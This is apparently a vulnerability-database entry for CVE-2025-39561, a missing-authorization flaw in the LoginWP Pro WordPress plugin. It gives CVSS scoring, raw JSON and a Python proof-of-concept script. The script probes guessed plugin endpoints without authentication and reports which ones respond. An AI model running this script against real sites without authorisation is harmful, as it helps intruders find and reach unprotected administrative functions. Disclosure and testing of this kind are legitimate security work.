Security Vulnerability Report
中文
CVE-2025-39561 CVSS 6.5 MEDIUM

CVE-2025-39561

Published: 2026-01-05 17:15:45
Last Modified: 2026-04-28 19:32:05

Description

Missing Authorization vulnerability in Marketing Fire, LLC LoginWP - Pro allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects LoginWP - Pro: from n/a through 4.0.8.5.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

LoginWP Pro <= 4.0.8.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-39561 LoginWP Pro Broken Access Control PoC # Target: WordPress site with vulnerable LoginWP Pro plugin def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-39561""" # Common LoginWP Pro API endpoints that may be affected endpoints = [ '/wp-json/loginwp/v1/', '/wp-admin/admin-ajax.php', '/?rest_route=/loginwp/v1/' ] # Sensitive actions that should require authentication vulnerable_actions = [ 'loginwp_redirect_rules', 'loginwp_get_settings', 'loginwp_update_settings' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-39561: LoginWP Pro Broken Access Control") for endpoint in endpoints: for action in vulnerable_actions: # Try to access without authentication if 'admin-ajax.php' in endpoint: url = f"{target_url}{endpoint}?action={action}" else: url = f"{target_url}{endpoint}{action}" try: response = requests.get(url, timeout=10) # Check if we can access protected functionality if response.status_code == 200: print(f"[+] VULNERABLE: {url}") print(f"[+] Status: {response.status_code}") print(f"[+] Response preview: {response.text[:200]}") elif response.status_code == 401 or response.status_code == 403: print(f"[-] Protected: {url}") else: print(f"[*] Status {response.status_code}: {url}") except requests.RequestException as e: print(f"[!] Error testing {url}: {e}") if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) else: print("Usage: python cve-2025-39561_poc.py <target_url>") print("Example: python cve-2025-39561_poc.py http://example.com/")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-39561", "sourceIdentifier": "[email protected]", "published": "2026-01-05T17:15:45.330", "lastModified": "2026-04-28T19:32:05.390", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Marketing Fire, LLC LoginWP - Pro allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects LoginWP - Pro: from n/a through 4.0.8.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/loginwp-pro/vulnerability/wordpress-loginwp-pro-plugin-4-0-8-5-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}